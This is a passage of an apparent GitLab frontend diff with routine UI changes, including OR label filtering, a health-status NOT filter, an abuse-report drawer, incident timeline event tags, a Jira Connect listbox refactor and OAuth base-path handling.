+ return data.slice(0, MAX_LIST_SIZE);
+ });
+ }
+}
diff --git a/app/assets/javascripts/issues/list/components/issues_list_app.vue b/app/assets/javascripts/issues/list/components/issues_list_app.vue
index 12a83f06453..e4000184f41 100644
--- a/app/assets/javascripts/issues/list/components/issues_list_app.vue
+++ b/app/assets/javascripts/issues/list/components/issues_list_app.vue
@@ -352,6 +352,7 @@ export default {
title: TOKEN_TITLE_LABEL,
icon: 'labels',
token: LabelToken,
+ operators: this.hasOrFeature ? OPERATORS_IS_NOT_OR : OPERATORS_IS_NOT,
fetchLabels: this.fetchLabels,
recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-label`,
},
diff --git a/app/assets/javascripts/issues/list/constants.js b/app/assets/javascripts/issues/list/constants.js
index 49a953cad43..87184799d5f 100644
--- a/app/assets/javascripts/issues/list/constants.js
+++ b/app/assets/javascripts/issues/list/constants.js
@@ -159,7 +159,7 @@ export const TYPE_TOKEN_OBJECTIVE_OPTION = {
};
export const TYPE_TOKEN_KEY_RESULT_OPTION = {
- icon: 'issue-type-key-result',
+ icon: 'issue-type-keyresult',
title: 'key_result',
value: 'key_result',
};
@@ -247,6 +247,7 @@ export const filters = {
[API_PARAM]: {
[NORMAL_FILTER]: 'labelName',
[SPECIAL_FILTER]: 'labelName',
+ [ALTERNATIVE_FILTER]: 'labelNames',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -257,6 +258,9 @@ export const filters = {
[OPERATOR_NOT]: {
[NORMAL_FILTER]: 'not[label_name][]',
},
+ [OPERATOR_OR]: {
+ [ALTERNATIVE_FILTER]: 'or[label_name][]',
+ },
},
},
[TOKEN_TYPE_TYPE]: {
@@ -360,14 +364,17 @@ export const filters = {
},
[TOKEN_TYPE_HEALTH]: {
[API_PARAM]: {
- [NORMAL_FILTER]: 'healthStatus',
- [SPECIAL_FILTER]: 'healthStatus',
+ [NORMAL_FILTER]: 'healthStatusFilter',
+ [SPECIAL_FILTER]: 'healthStatusFilter',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'health_status',
[SPECIAL_FILTER]: 'health_status',
},
+ [OPERATOR_NOT]: {
+ [NORMAL_FILTER]: 'not[health_status]',
+ },
},
},
[TOKEN_TYPE_CONTACT]: {
diff --git a/app/assets/javascripts/issues/list/utils.js b/app/assets/javascripts/issues/list/utils.js
index b566e08731c..bbd081843ca 100644
--- a/app/assets/javascripts/issues/list/utils.js
+++ b/app/assets/javascripts/issues/list/utils.js
@@ -13,6 +13,8 @@ import {
TOKEN_TYPE_MILESTONE,
TOKEN_TYPE_RELEASE,
TOKEN_TYPE_TYPE,
+ TOKEN_TYPE_HEALTH,
+ TOKEN_TYPE_LABEL,
} from '~/vue_shared/components/filtered_search_bar/constants';
import {
ALTERNATIVE_FILTER,
@@ -252,8 +254,9 @@ const isSpecialFilter = (type, data) => {
const getFilterType = ({ type, value: { data, operator } }) => {
const isUnionedAuthor = type === TOKEN_TYPE_AUTHOR && operator === OPERATOR_OR;
+ const isUnionedLabel = type === TOKEN_TYPE_LABEL && operator === OPERATOR_OR;
- if (isUnionedAuthor) {
+ if (isUnionedAuthor || isUnionedLabel) {
return ALTERNATIVE_FILTER;
}
if (isSpecialFilter(type, data)) {
@@ -267,8 +270,13 @@ const wildcardTokens = [TOKEN_TYPE_ITERATION, TOKEN_TYPE_MILESTONE, TOKEN_TYPE_R
const isWildcardValue = (tokenType, value) =>
wildcardTokens.includes(tokenType) && specialFilterValues.includes(value);
+const isHealthStatusSpecialFilter = (tokenType, value) =>
+ tokenType === TOKEN_TYPE_HEALTH && specialFilterValues.includes(value);
+
const requiresUpperCaseValue = (tokenType, value) =>
- tokenType === TOKEN_TYPE_TYPE || isWildcardValue(tokenType, value);
+ tokenType === TOKEN_TYPE_TYPE ||
+ isWildcardValue(tokenType, value) ||
+ isHealthStatusSpecialFilter(tokenType, value);
const formatData = (token) => {
if (requiresUpperCaseValue(token.type, token.value.data)) {
diff --git a/app/assets/javascripts/issues/show/components/header_actions.vue b/app/assets/javascripts/issues/show/components/header_actions.vue
index 983e2e6530e..56e360c75e3 100644
--- a/app/assets/javascripts/issues/show/components/header_actions.vue
+++ b/app/assets/javascripts/issues/show/components/header_actions.vue
@@ -19,6 +19,7 @@ import { visitUrl } from '~/lib/utils/url_utility';
import { s__, __, sprintf } from '~/locale';
import eventHub from '~/notes/event_hub';
import Tracking from '~/tracking';
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
import promoteToEpicMutation from '../queries/promote_to_epic.mutation.graphql';
import updateIssueMutation from '../queries/update_issue.mutation.graphql';
import DeleteIssueModal from './delete_issue_modal.vue';
@@ -50,6 +51,7 @@ export default {
GlDropdownItem,
GlLink,
GlModal,
+ AbuseCategorySelector,
},
directives: {
GlModal: GlModalDirective,
@@ -93,13 +95,15 @@ export default {
projectPath: {
default: '',
},
- reportAbusePath: {
- default: '',
- },
submitAsSpamPath: {
default: '',
},
},
+ data() {
+ return {
+ isReportAbuseDrawerOpen: false,
+ };
+ },
computed: {
...mapState(['isToggleStateButtonLoading']),
...mapGetters(['openState', 'getBlockedByIssues']),
@@ -163,6 +167,9 @@ export default {
this.invokeUpdateIssueMutation();
},
+ toggleReportAbuseDrawer(isOpen) {
+ this.isReportAbuseDrawerOpen = isOpen;
+ },
invokeUpdateIssueMutation() {
this.toggleStateButtonLoading(true);
@@ -255,7 +262,7 @@ export default {
<gl-dropdown-item v-if="canPromoteToEpic" @click="promoteToEpic">
{{ __('Promote to epic') }}
</gl-dropdown-item>
- <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
+ <gl-dropdown-item v-if="!isIssueAuthor" @click="toggleReportAbuseDrawer(true)">
{{ $options.i18n.reportAbuse }}
</gl-dropdown-item>
<gl-dropdown-item
@@ -314,7 +321,7 @@ export default {
>
{{ __('Promote to epic') }}
</gl-dropdown-item>
- <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
+ <gl-dropdown-item v-if="!isIssueAuthor" @click="toggleReportAbuseDrawer(true)">
{{ $options.i18n.reportAbuse }}
</gl-dropdown-item>
<gl-dropdown-item
@@ -360,5 +367,10 @@ export default {
:modal-id="$options.deleteModalId"
:title="deleteButtonText"
/>
+
+ <abuse-category-selector
+ :show-drawer="isReportAbuseDrawerOpen"
+ @close-drawer="toggleReportAbuseDrawer(false)"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/issues/show/components/incidents/constants.js b/app/assets/javascripts/issues/show/components/incidents/constants.js
index 22db19610c1..2fdae538902 100644
--- a/app/assets/javascripts/issues/show/components/incidents/constants.js
+++ b/app/assets/javascripts/issues/show/components/incidents/constants.js
@@ -12,6 +12,9 @@ export const timelineFormI18n = Object.freeze({
'Incident|Something went wrong while creating the incident timeline event.',
),
areaPlaceholder: s__('Incident|Timeline text...'),
+ areaDefaultMessage: s__('Incident|Incident'),
+ selectTags: __('Select tags'),
+ tagsLabel: __('Event tag (optional)'),
save: __('Save'),
cancel: __('Cancel'),
delete: __('Delete'),
@@ -42,4 +45,14 @@ export const timelineItemI18n = Object.freeze({
timeUTC: __('%{time} UTC'),
});
+export const timelineEventTagsI18n = Object.freeze({
+ startTime: __('Start time'),
+ endTime: __('End time'),
+});
+
export const MAX_TEXT_LENGTH = 280;
+
+export const TIMELINE_EVENT_TAGS = Object.values(timelineEventTagsI18n).map((item) => ({
+ text: item,
+ value: item,
+}));
diff --git a/app/assets/javascripts/issues/show/components/incidents/create_timeline_event.vue b/app/assets/javascripts/issues/show/components/incidents/create_timeline_event.vue
index 6bb72e82778..81111d42b39 100644
--- a/app/assets/javascripts/issues/show/components/incidents/create_timeline_event.vue
+++ b/app/assets/javascripts/issues/show/components/incidents/create_timeline_event.vue
@@ -74,6 +74,7 @@ export default {
incidentId: convertToGraphQLId(TYPE_ISSUE, this.issuableId),
note: eventDetails.note,
occurredAt: eventDetails.occurredAt,
+ timelineEventTagNames: eventDetails.timelineEventTags,
},
},
update: this.updateCache,
diff --git a/app/assets/javascripts/issues/show/components/incidents/edit_timeline_event.vue b/app/assets/javascripts/issues/show/components/incidents/edit_timeline_event.vue
index 8cdd62ca9ef..4ef9b9c5a99 100644
--- a/app/assets/javascripts/issues/show/components/incidents/edit_timeline_event.vue
+++ b/app/assets/javascripts/issues/show/components/incidents/edit_timeline_event.vue
@@ -40,7 +40,7 @@ export default {
:is-event-processed="editTimelineEventActive"
:previous-occurred-at="event.occurredAt"
:previous-note="event.note"
- show-delete
+ is-editing
@save-event="saveEvent"
@cancel="$emit('hide-edit')"
@delete="$emit('delete')"
diff --git a/app/assets/javascripts/issues/show/components/incidents/timeline_events_form.vue b/app/assets/javascripts/issues/show/components/incidents/timeline_events_form.vue
index f1a3aebc990..6648e20865d 100644
--- a/app/assets/javascripts/issues/show/components/incidents/timeline_events_form.vue
+++ b/app/assets/javascripts/issues/show/components/incidents/timeline_events_form.vue
@@ -1,7 +1,9 @@
<script>
-import { GlDatepicker, GlFormInput, GlFormGroup, GlButton } from '@gitlab/ui';
+import { GlDatepicker, GlFormInput, GlFormGroup, GlButton, GlListbox } from '@gitlab/ui';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-import { MAX_TEXT_LENGTH, timelineFormI18n } from './constants';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { __, sprintf } from '~/locale';
+import { MAX_TEXT_LENGTH, TIMELINE_EVENT_TAGS, timelineFormI18n } from './constants';
import { getUtcShiftedDate } from './utils';
export default {
@@ -23,7 +25,9 @@ export default {
GlFormInput,
GlFormGroup,
GlButton,
+ GlListbox,
},
+ mixins: [glFeatureFlagsMixin()],
i18n: timelineFormI18n,
MAX_TEXT_LENGTH,
props: {
@@ -32,7 +36,7 @@ export default {
required: false,
default: false,
},
- showDelete: {
+ isEditing: {
type: Boolean,
required: false,
default: false,
@@ -51,6 +55,16 @@ export default {
required: false,
default: '',
},
+ previousTags: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ tags: {
+ type: Array,
+ required: false,
+ default: () => TIMELINE_EVENT_TAGS,
+ },
},
data() {
// if occurredAt is null, returns "now" in UTC
@@ -58,10 +72,12 @@ export default {
return {
timelineText: this.previousNote,
+ timelineTextIsDirty: this.isEditing,
placeholderDate,
hourPickerInput: placeholderDate.getHours(),
minutePickerInput: placeholderDate.getMinutes(),
datePickerInput: placeholderDate,
+ selectedTags: [...this.previousTags],
};
},
computed: {
@@ -85,6 +101,20 @@ export default {
timelineTextCount() {
return this.timelineText.length;
},
+ dropdownText() {
+ if (!this.selectedTags.length) {
+ return timelineFormI18n.selectTags;
+ }
+
+ const dropdownText =
+ this.selectedTags.length === 1
+ ? this.selectedTags[0]
+ : sprintf(__('%{numberOfSelectedTags} tags'), {
+ numberOfSelectedTags: this.selectedTags.length,
+ });
+
+ return dropdownText;
+ },
},
mounted() {
this.focusDate();
@@ -96,14 +126,35 @@ export default {
this.hourPickerInput = newPlaceholderDate.getHours();
this.minutePickerInput = newPlaceholderDate.getMinutes();
this.timelineText = '';
+ this.selectedTags = [];
},
focusDate() {
this.$refs.datepicker.$el.querySelector('input')?.focus();
},
+ setTimelineTextDirty() {
+ this.timelineTextIsDirty = true;
+ },
+ onTagsChange(tagValue) {
+ this.selectedTags = [...tagValue];
+
+ if (!this.timelineTextIsDirty) {
+ this.timelineText = this.generateTimelineTextFromTags(this.selectedTags);
+ }
+ },
+ generateTimelineTextFromTags(tags) {
+ if (!tags.length) {
+ return '';
+ }
+
+ const tagsMessage = tags.map((tag) => tag.toLocaleLowerCase()).join(', ');
+
+ return `${timelineFormI18n.areaDefaultMessage} ${tagsMessage}`;
+ },
handleSave(addAnotherEvent) {
const event = {
note: this.timelineText,
occurredAt: this.occurredAtString,
+ timelineEventTags: this.selectedTags,
};
this.$emit('save-event', event, addAnotherEvent);
},
@@ -146,6 +197,16 @@ export default {
<p class="gl-ml-3 gl-align-self-end gl-line-height-32">{{ __('UTC') }}</p>
</div>
</div>
+ <gl-form-group v-if="glFeatures.incidentEventTags" :label="$options.i18n.tagsLabel">
+ <gl-listbox
+ :selected="selectedTags"
+ :toggle-text="dropdownText"
+ :items="tags"
+ :is-check-centered="true"
+ :multiple="true"
+ @select="onTagsChange"
+ />
+ </gl-form-group>
<div class="common-note-form">
<gl-form-group class="gl-mb-3" :label="$options.i18n.areaLabel">
<markdown-field
@@ -169,6 +230,7 @@ export default {
aria-describedby="timeline-form-hint"
:placeholder="$options.i18n.areaPlaceholder"
:maxlength="$options.MAX_TEXT_LENGTH"
+ @input="setTimelineTextDirty"
>
</textarea>
<div id="timeline-form-hint" class="gl-sr-only">{{ $options.i18n.hint }}</div>
@@ -214,7 +276,7 @@ export default {
{{ $options.i18n.cancel }}
</gl-button>
<gl-button
- v-if="showDelete"
+ v-if="isEditing"
class="gl-ml-auto btn-danger"
:disabled="isEventProcessed"
@click="$emit('delete')"
diff --git a/app/assets/javascripts/issues/show/index.js b/app/assets/javascripts/issues/show/index.js
index 3cb5007ab0d..21d877c5fe6 100644
--- a/app/assets/javascripts/issues/show/index.js
+++ b/app/assets/javascripts/issues/show/index.js
@@ -83,7 +83,7 @@ export function initIssueApp(issueData, store) {
return undefined;
}
- const { fullPath } = el.dataset;
+ const { fullPath, registerPath, signInPath } = el.dataset;
scrollToTargetOnResize();
@@ -99,6 +99,8 @@ export function initIssueApp(issueData, store) {
provide: {
canCreateIncident,
fullPath,
+ registerPath,
+ signInPath,
hasIssueWeightsFeature,
},
computed: {
@@ -150,6 +152,8 @@ export function initHeaderActions(store, type = '') {
projectPath: el.dataset.projectPath,
projectId: el.dataset.projectId,
reportAbusePath: el.dataset.reportAbusePath,
+ reportedUserId: el.dataset.reportedUserId,
+ reportedFromUrl: el.dataset.reportedFromUrl,
submitAsSpamPath: el.dataset.submitAsSpamPath,
},
render: (createElement) => createElement(HeaderActions),
diff --git a/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue b/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue
index 9b36642feb7..dd9afb01590 100644
--- a/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue
+++ b/app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue
@@ -1,11 +1,6 @@
<script>
-import {
- GlDropdown,
- GlSearchBoxByType,
- GlLoadingIcon,
- GlDropdownItem,
- GlAvatarLabeled,
-} from '@gitlab/ui';
+import { GlAvatarLabeled, GlCollapsibleListbox } from '@gitlab/ui';
+import { debounce } from 'lodash';
import { __ } from '~/locale';
import { AVATAR_SHAPE_OPTION_RECT } from '~/vue_shared/constants';
import { PROJECTS_PER_PAGE } from '../constants';
@@ -17,11 +12,8 @@ export default {
endCursor: '',
},
components: {
- GlDropdown,
- GlDropdownItem,
- GlSearchBoxByType,
- GlLoadingIcon,
GlAvatarLabeled,
+ GlCollapsibleListbox,
},
props: {
selectedProject: {
@@ -34,6 +26,7 @@ export default {
return {
initialProjectsLoading: true,
projectSearchQuery: '',
+ selectedProjectId: this.selectedProject?.id,
};
},
apollo: {
@@ -66,17 +59,27 @@ export default {
projectDropdownText() {
return this.selectedProject?.nameWithNamespace || this.$options.i18n.selectProjectText;
},
+ projectList() {
+ return (this.projects || []).map((project) => ({
+ ...project,
+ text: project.nameWithNamespace,
+ value: String(project.id),
+ }));
+ },
},
methods: {
- onProjectSelect(project) {
- this.$emit('change', project);
+ findProjectById(id) {
+ return this.projects.find((project) => id === project.id);
+ },
+ onProjectSelect(projectId) {
+ this.$emit('change', this.findProjectById(projectId));
},
onError({ message } = {}) {
this.$emit('error', { message });
},
- isProjectSelected(project) {
- return project.id === this.selectedProject?.id;
- },
+ onSearch: debounce(function debouncedSearch(query) {
+ this.projectSearchQuery = query;
+ }, 250),
},
i18n: {
selectProjectText: __('Select a project'),
@@ -86,37 +89,29 @@ export default {
</script>
<template>
- <gl-dropdown
- :text="projectDropdownText"
- :loading="initialProjectsLoading"
- menu-class="gl-w-auto!"
+ <gl-collapsible-listbox
+ v-model="selectedProjectId"
+ data-testid="project-select"
+ :items="projectList"
+ :toggle-text="projectDropdownText"
:header-text="$options.i18n.selectProjectText"
+ :loading="initialProjectsLoading"
+ :searchable="true"
+ :searching="projectsLoading"
+ @search="onSearch"
+ @select="onProjectSelect"
>
- <template #header>
- <gl-search-box-by-type v-model.trim="projectSearchQuery" :debounce="250" />
- </template>
-
- <gl-loading-icon v-show="projectsLoading" />
- <template v-if="!projectsLoading">
- <gl-dropdown-item
- v-for="project in projects"
- :key="project.id"
- is-check-item
- is-check-centered
- :is-checked="isProjectSelected(project)"
- :data-testid="`test-project-${project.id}`"
- @click="onProjectSelect(project)"
- >
- <gl-avatar-labeled
- class="gl-text-truncate"
- :shape="$options.AVATAR_SHAPE_OPTION_RECT"
- :size="32"
- :src="project.avatarUrl"
- :label="project.name"
- :entity-name="project.name"
- :sub-label="project.nameWithNamespace"
- />
- </gl-dropdown-item>
+ <template #list-item="{ item: project }">
+ <gl-avatar-labeled
+ v-if="project"
+ class="gl-text-truncate"
+ :shape="$options.AVATAR_SHAPE_OPTION_RECT"
+ :size="32"
+ :src="project.avatarUrl"
+ :label="project.name"
+ :entity-name="project.name"
+ :sub-label="project.nameWithNamespace"
+ />
</template>
- </gl-dropdown>
+ </gl-collapsible-listbox>
</template>
diff --git a/app/assets/javascripts/jira_connect/subscriptions/components/app.vue b/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
index 22a6c0751f4..44575455a34 100644
--- a/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
+++ b/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
@@ -10,7 +10,6 @@ import { SET_ALERT } from '../store/mutation_types';
import SignInPage from '../pages/sign_in/sign_in_page.vue';
import SubscriptionsPage from '../pages/subscriptions_page.vue';
import UserLink from './user_link.vue';
-import CompatibilityAlert from './compatibility_alert.vue';
import BrowserSupportAlert from './browser_support_alert.vue';
export default {
@@ -19,11 +18,10 @@ export default {
GlAlert,
GlLink,
GlSprintf,
- UserLink,
- CompatibilityAlert,
BrowserSupportAlert,
SignInPage,
SubscriptionsPage,
+ UserLink,
},
mixins: [glFeatureFlagMixin()],
inject: {
@@ -123,8 +121,6 @@ export default {
<main class="jira-connect-app gl-px-5 gl-pt-7 gl-mx-auto">
<browser-support-alert v-if="!isBrowserSupported" class="gl-mb-7" />
<div v-else data-testid="jira-connect-app">
- <compatibility-alert class="gl-mb-7" />
-
<gl-alert
v-if="shouldShowAlert"
:variant="alert.variant"
diff --git a/app/assets/javascripts/jira_connect/subscriptions/components/compatibility_alert.vue b/app/assets/javascripts/jira_connect/subscriptions/components/compatibility_alert.vue
deleted file mode 100644
index 9b50681515e..00000000000
--- a/app/assets/javascripts/jira_connect/subscriptions/components/compatibility_alert.vue
+++ /dev/null
@@ -1,73 +0,0 @@
-<script>
-import { GlAlert, GlSprintf, GlLink } from '@gitlab/ui';
-import { s__ } from '~/locale';
-import { helpPagePath } from '~/helpers/help_page_helper';
-import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-
-const COMPATIBILITY_ALERT_STATE_KEY = 'compatibility_alert_dismissed';
-
-export default {
- name: 'CompatibilityAlert',
- components: {
- GlAlert,
- GlSprintf,
- GlLink,
- LocalStorageSync,
- },
- mixins: [glFeatureFlagMixin()],
- data() {
- return {
- alertDismissed: false,
- };
- },
- computed: {
- shouldShowAlert() {
- return !this.alertDismissed;
- },
- isOauthSelfManagedEnabled() {
- return this.glFeatures.jiraConnectOauth && this.glFeatures.jiraConnectOauthSelfManaged;
- },
- alertBody() {
- return this.isOauthSelfManagedEnabled
- ? this.$options.i18n.body
- : this.$options.i18n.bodyDotCom;
- },
- },
- methods: {
- dismissAlert() {
- this.alertDismissed = true;
- },
- },
- i18n: {
- title: s__('Integrations|Known limitations'),
- body: s__(
- 'Integrations|Adding a namespace only works in browsers that allow cross-site cookies. %{linkStart}Learn more%{linkEnd}.',
- ),
- bodyDotCom: s__(
- 'Integrations|This integration only works with GitLab.com. Adding a namespace only works in browsers that allow cross-site cookies. %{linkStart}Learn more%{linkEnd}.',
- ),
- },
- DOCS_LINK_URL: helpPagePath('integration/jira/connect-app'),
- COMPATIBILITY_ALERT_STATE_KEY,
-};
-</script>
-<template>
- <local-storage-sync
- v-model="alertDismissed"
- :storage-key="$options.COMPATIBILITY_ALERT_STATE_KEY"
- >
- <gl-alert
- v-if="shouldShowAlert"
- variant="info"
- :title="$options.i18n.title"
- @dismiss="dismissAlert"
- >
- <gl-sprintf :message="alertBody">
- <template #link="{ content }">
- <gl-link :href="$options.DOCS_LINK_URL" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </gl-alert>
- </local-storage-sync>
-</template>
diff --git a/app/assets/javascripts/jira_connect/subscriptions/components/sign_in_oauth_button.vue b/app/assets/javascripts/jira_connect/subscriptions/components/sign_in_oauth_button.vue
index 4cf3a1a0279..65c69bcfa82 100644
--- a/app/assets/javascripts/jira_connect/subscriptions/components/sign_in_oauth_button.vue
+++ b/app/assets/javascripts/jira_connect/subscriptions/components/sign_in_oauth_button.vue
@@ -4,6 +4,7 @@ import { GlButton } from '@gitlab/ui';
import { sprintf } from '~/locale';
import {
+ GITLAB_COM_BASE_PATH,
I18N_DEFAULT_SIGN_IN_BUTTON_TEXT,
I18N_CUSTOM_SIGN_IN_BUTTON_TEXT,
I18N_OAUTH_APPLICATION_ID_ERROR_MESSAGE,
@@ -40,8 +41,11 @@ export default {
};
},
computed: {
+ isGitlabCom() {
+ return this.gitlabBasePath === GITLAB_COM_BASE_PATH;
+ },
buttonText() {
- if (!this.gitlabBasePath) {
+ if (this.isGitlabCom) {
return I18N_DEFAULT_SIGN_IN_BUTTON_TEXT;
}
@@ -71,9 +75,9 @@ export default {
this.codeVerifier = createCodeVerifier();
const codeChallenge = await createCodeChallenge(this.codeVerifier);
try {
- this.clientId = this.gitlabBasePath
- ? await this.fetchOauthClientId()
- : this.oauthMetadata?.oauth_token_payload?.client_id;
+ this.clientId = this.isGitlabCom
+ ? this.oauthMetadata?.oauth_token_payload?.client_id
+ : await this.fetchOauthClientId();
} catch {
throw new Error(I18N_OAUTH_APPLICATION_ID_ERROR_MESSAGE);
}
@@ -92,7 +96,7 @@ export default {
);
// Rebase URL on the specified GitLab base path (if specified).
- if (this.gitlabBasePath) {
+ if (!this.isGitlabCom) {
const gitlabBasePathURL = new URL(this.gitlabBasePath);
oauthAuthorizeURLWithChallenge.hostname = gitlabBasePathURL.hostname;
oauthAuthorizeURLWithChallenge.pathname = `${
@@ -118,7 +122,7 @@ export default {
this.setAlert({
linkUrl: OAUTH_SELF_MANAGED_DOC_LINK,
title: I18N_OAUTH_FAILED_TITLE,
- message: this.gitlabBasePath ? I18N_OAUTH_FAILED_MESSAGE : '',
+ message: this.isGitlabCom ? '' : I18N_OAUTH_FAILED_MESSAGE,
variant: 'danger',
});
}
diff --git a/app/assets/javascripts/jira_connect/subscriptions/pages/sign_in/sign_in_gitlab_com.vue b/app/assets/javascripts/jira_connect/subscriptions/pages/sign_in/sign_in_gitlab_com.vue
index 91b66c87694..782e8a625a9 100644
--- a/app/assets/javascripts/jira_connect/subscriptions/pages/sign_in/sign_in_gitlab_com.vue
+++ b/app/assets/javascripts/jira_connect/subscriptions/pages/sign_in/sign_in_gitlab_com.vue
@@ -1,6 +1,7 @@
<script>
import { s__ } from '~/locale';
+import { GITLAB_COM_BASE_PATH } from '~/jira_connect/subscriptions/constants';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import SubscriptionsList from '../../components/subscriptions_list.vue';
@@ -28,6 +29,7 @@ export default {
signInButtonTextWithSubscriptions: s__('Integrations|Sign in to add namespaces'),
signInText: s__('JiraService|Sign in to GitLab.com to get started.'),
},
+ GITLAB_COM_BASE_PATH,
methods: {
onSignInError() {
this.$emit('error');
@@ -43,6 +45,7 @@ export default {
<div class="gl-display-flex gl-justify-content-end gl-mb-3">
<sign-in-oauth-button
v-if="useSignInOauthButton"
+ :gitlab-base-path="$options.GITLAB_COM_BASE_PATH"
@sign-in="$emit('sign-in-oauth', $event)"
@error="onSignInError"
>
@@ -59,6 +62,7 @@ export default {
<p class="gl-mb-7">{{ $options.i18n.signInText }}</p>
<sign-in-oauth-button
v-if="useSignInOauthButton"
+ :gitlab-base-path="$options.GITLAB_COM_BASE_PATH"
@sign-in="$emit('sign-in-oauth', $event)"
@error="onSignInError"
/>
diff --git a/app/assets/javascripts/jobs/components/job/manual_variables_form.vue b/app/assets/javascripts/jobs/components/job/manual_variables_form.vue
index d7bbd6daed2..734d3ca0d49 100644
--- a/app/assets/javascripts/jobs/components/job/manual_variables_form.vue
+++ b/app/assets/javascripts/jobs/components/job/manual_variables_form.vue
@@ -68,6 +68,7 @@ export default {
required: true,
},
},
+ clearBtnSharedClasses: ['gl-flex-grow-0 gl-flex-basis-0'],
inputTypes: {
key: 'key',
value: 'value',
@@ -229,16 +230,23 @@ export default {
v-gl-tooltip
:aria-label="$options.i18n.clearInputs"
:title="$options.i18n.clearInputs"
- class="gl-flex-grow-0 gl-flex-basis-0"
+ :class="$options.clearBtnSharedClasses"
category="tertiary"
variant="danger"
icon="clear"
data-testid="delete-variable-btn"
@click="deleteVariable(variable.id)"
/>
-
- <!-- delete variable button placeholder to not break flex layout -->
- <div v-else class="gl-w-7 gl-mr-3" data-testid="delete-variable-btn-placeholder"></div>
+ <!-- Placeholder button to keep the layout fixed -->
+ <gl-button
+ v-else
+ class="gl-opacity-0 gl-pointer-events-none"
+ :class="$options.clearBtnSharedClasses"
+ data-testid="delete-variable-btn-placeholder"
+ category="tertiary"
+ variant="danger"
+ icon="clear"
+ />
</div>
<div class="gl-text-center gl-mt-5">
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table.vue b/app/assets/javascripts/jobs/components/table/jobs_table.vue
index d8c5c292f52..9ee4439b618 100644
--- a/app/assets/javascripts/jobs/components/table/jobs_table.vue
+++ b/app/assets/javascripts/jobs/components/table/jobs_table.vue
@@ -1,7 +1,7 @@
<script>
import { GlTable } from '@gitlab/ui';
import { s__ } from '~/locale';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import ActionsCell from './cells/actions_cell.vue';
import DurationCell from './cells/duration_cell.vue';
import JobCell from './cells/job_cell.vue';
@@ -14,7 +14,7 @@ export default {
},
components: {
ActionsCell,
- CiBadge,
+ CiBadgeLink,
DurationCell,
GlTable,
JobCell,
@@ -55,7 +55,7 @@ export default {
</template>
<template #cell(status)="{ item }">
- <ci-badge :status="item.detailedStatus" />
+ <ci-badge-link :status="item.detailedStatus" />
</template>
<template #cell(job)="{ item }">
diff --git a/app/assets/javascripts/jobs/store/actions.js b/app/assets/javascripts/jobs/store/actions.js
index 272181f830c..a81edb240ad 100644
--- a/app/assets/javascripts/jobs/store/actions.js
+++ b/app/assets/javascripts/jobs/store/actions.js
@@ -2,7 +2,7 @@ import Visibility from 'visibilityjs';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { setFaviconOverlay, resetFavicon } from '~/lib/utils/favicon';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_FORBIDDEN } from '~/lib/utils/http_status';
import Poll from '~/lib/utils/poll';
import {
canScroll,
@@ -178,7 +178,7 @@ export const fetchJobLog = ({ dispatch, state }) =>
}
})
.catch((e) => {
- if (e.response.status === httpStatusCodes.FORBIDDEN) {
+ if (e.response.status === HTTP_STATUS_FORBIDDEN) {
dispatch('receiveJobLogUnauthorizedError');
} else {
reportToSentry('job_actions', e);
diff --git a/app/assets/javascripts/language_switcher/components/app.vue b/app/assets/javascripts/language_switcher/components/app.vue
index 71babe6c614..4d3fe22e247 100644
--- a/app/assets/javascripts/language_switcher/components/app.vue
+++ b/app/assets/javascripts/language_switcher/components/app.vue
@@ -1,11 +1,17 @@
<script>
-import { GlCollapsibleListbox } from '@gitlab/ui';
+import { GlCollapsibleListbox, GlLink } from '@gitlab/ui';
+import { __ } from '~/locale';
import { setCookie } from '~/lib/utils/common_utils';
+import { helpPagePath } from '~/helpers/help_page_helper';
import { PREFERRED_LANGUAGE_COOKIE_KEY } from '../constants';
+const HELP_TRANSLATE_MSG = __('Help translate to your language');
+const HELP_TRANSLATE_HREF = helpPagePath('/development/i18n/translation.md');
+
export default {
components: {
GlCollapsibleListbox,
+ GlLink,
},
inject: {
locales: {
@@ -25,7 +31,12 @@ export default {
setCookie(PREFERRED_LANGUAGE_COOKIE_KEY, code);
window.location.reload();
},
+ itemTestSelector(locale) {
+ return `language_switcher_lang_${locale}`;
+ },
},
+ HELP_TRANSLATE_MSG,
+ HELP_TRANSLATE_HREF,
};
</script>
<template>
@@ -41,9 +52,20 @@ export default {
@select="onLanguageSelected"
>
<template #list-item="{ item: locale }">
- <span :data-testid="`language_switcher_lang_${locale.value}`">
+ <span
+ :data-testid="itemTestSelector(locale.value)"
+ :data-qa-selector="itemTestSelector(locale.value)"
+ >
{{ locale.text }}
</span>
</template>
+ <template #footer>
+ <div
+ class="gl-border-t-solid gl-border-t-1 gl-border-t-gray-100 gl-display-flex gl-justify-content-center gl-p-3"
+ data-testid="footer"
+ >
+ <gl-link :href="$options.HELP_TRANSLATE_HREF">{{ $options.HELP_TRANSLATE_MSG }}</gl-link>
+ </div>
+ </template>
</gl-collapsible-listbox>
</template>
diff --git a/app/assets/javascripts/layout_nav.js b/app/assets/javascripts/layout_nav.js
index ab83f1ecc14..90c1b31286a 100644
--- a/app/assets/javascripts/layout_nav.js
